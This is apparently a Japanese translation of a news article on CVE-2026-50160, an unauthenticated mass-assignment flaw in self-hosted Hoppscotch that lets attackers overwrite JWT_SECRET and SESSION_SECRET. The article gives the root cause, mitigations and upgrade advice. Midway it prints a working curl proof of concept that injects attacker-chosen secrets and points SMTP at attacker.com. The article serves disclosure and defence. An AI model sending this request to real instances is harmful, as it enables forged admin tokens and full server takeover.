Critical Hoppscotch Vulnerability Lets Attackers Overwrite JWT_SECRET and Forge Admin Tokens
2026/06/29 gbhackers — セルフホスト型 Hoppscotch バックエンドで、深刻なセキュリティ脆弱性 CVE-2026-50160 が発見された。この軽量 API テストツールの脆弱性を悪用する未認証の攻撃者は、JWT 署名シークレットなどの機密性の高いコンフィグ値を上書きし、影響を受けるインスタンスの管理権限を完全に掌握する可能性がある。

この問題は、GitHub アドバイザリ GHSA-j542-4rch-8hwf に記載されている。影響が及ぶ範囲は、バージョン 2026.4.1 以下であり、バージョン 2026.5.0 で修正されている。この欠陥の悪用は容易であり、侵害の影響範囲が広いことから、最大の CVSS スコアである 10.0 が付与されている。
重大な Hoppscotch 脆弱性
この脆弱性は、存在しない初期セットアップ段階 (usersCount === 0) において、認証なしのアクセスをユーザーに許す、POST “/v1/onboarding/config” エンドポイントのマス・アサインメントの欠陥に起因する。
このエンドポイントは、SMTP や OAuth の設定など、オンボーディングのパラメータのコンフィグを目的としている。しかし、不適切な入力検証を突く攻撃者は、想定されるリクエスト DTO (Data Transfer Object) で明示的に定義されていない、任意のコンフィグ・キーを挿入できる。
この問題の中核は、許可リスト・オプションを有効化せずに NestJS ValidationPipe を使用している点にある。その結果として、リクエスト・ボディで提供された追加プロパティは削除されず、アプリケーション・ロジックへと直接渡される。
その後に、これらのプロパティは、Object.entries(dto) を使用して処理される。この処理においては、制限が適用されることなく、すべての提供されたキーを盲目的に反復処理する。JWT_SECRET や SESSION_SECRET などの機密性の高いコンフィグ・キーは、有効な内部 enum 値である。そのため、攻撃者が指定した値が受け入れられ、保存される可能性がある。
さらに問題を悪化させる要因として、validateEnvValues のロジックが、認可されていないキーを明示的に拒否していない点がある。認識されないエントリは default: break の条件へと進むため、実質的に検証が回避される。
オンボーディング・エンドポイントに認証が存在しない状態と、この脆弱性が組み合わされることで、システム全体の侵害を可能にする完全な攻撃チェーンが形成される。
攻撃に成功したシナリオの攻撃者は、自身が制御する値で JWT_SECRET を上書きできる。これにより、管理者を含む任意のユーザーに対する、有効な認証トークンの偽造が可能になる。
トークンの検証は、このシークレットに依存するため、すべての JwtAuthGuard 保護は無効化される。その後に攻撃者はユーザーになりすまし、高機密性データへのアクセスと API キーの抽出を達成し、認証情報のリセット後も永続的なアクセスを維持できる。さらに、SESSION_SECRET を上書きすることで、セッション・ハイジャックおよび正規ユーザー・セッションの無効化も可能となる。
この脆弱性が危険である理由は、オンボーディングが完了する前にインターネットへ公開されることが多い、新たにデプロイされたインスタンスが標的化される点にある。この時間枠は限定的なものであるが、自動スキャンなどによる悪用を生み出す、高リスクの期間となる。
PoC が実証する悪用は単純であり、細工された 1 件の HTTP リクエスト送信だけで完了するものだ。以下の動作例が示すのは、攻撃者による悪意のコンフィグ値の注入である。
# Step 1: Check onboarding statuscurl http://target:3170/v1/onboarding/status# Step 2: Exploit mass assignment to overwrite secretscurl -X POST http://target:3170/v1/onboarding/config \ -H "Content-Type: application/json" \ -d '{ "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL", "MAILER_SMTP_ENABLE": "true", "MAILER_SMTP_URL": "smtp://attacker.com:25", "MAILER_ADDRESS_FROM": "attacker@evil.com", "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET", "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION" }'# Step 3: Verify compromise (database check)psql -c "SELECT name, value FROM InfraConfig WHERE name = 'JWT_SECRET';"
悪用に成功した攻撃者は、自身が制御するシークレットをバックエンドに保存できる。これにより、トークンの偽造および持続的な不正アクセスが可能となる。
この問題は、CWE-915 (動的に決定されるオブジェクト属性の変更が不適切に制御される問題) に起因するものだと、セキュリティ研究者たちは位置付けている。この弱点は、最新の API フレームワークにおいて一般的であり、また、危険性の高い脆弱性クラスである。
ValidationPipe で “whitelist: true” を有効化していれば、未知のフィールドが削除されるため、この攻撃を完全に防止できると、アドバイザリは指摘している。追加で推奨される緩和策には、コンフィグ・キーに対する厳格な許可リスト/機密性の高いパラメータに対する明示的な検証拒否/オンボーディング・エンドポイントでの認証またはワンタイム設定トークンの強制などが含まれる。
セルフホスト型 Hoppscotch インスタンスを運用する組織に対して強く推奨されるのは、バージョン 2026.5.0 以降への速やかなアップグレードである。パッチ適用が遅滞すると、初期セットアップ中に公開されたインスタンスは、ユーザー操作を必要としないリモート侵害にリスクにさらされ続ける。
訳者後書:広範な開発環境で利用される API 検証ツールの管理機能において、外部からの入力に対する適切なチェックの欠落により、内部の重要設定を書き換えられてしまう深刻な欠陥 CVE-2026-50160 が見つかりました。この問題の背景には、導入直後の初期設定を行う段階で適切な身元確認が行われない点や、受け入れるデータの検証処理に漏れがあるという運用の隙があります。もし、この弱点を突かれると、本来は秘匿すべき暗号化の鍵を変更され、最高権限を第三者に完全に奪われるといった、きわめて深刻な影響を被る恐れがあります。確実な対応策として、まずは利用している対象ツールを最新版へ速やかに更新してください。その上で、不要な外部公開を避ける防護策を講じることが大切です。
You must be logged in to post a comment.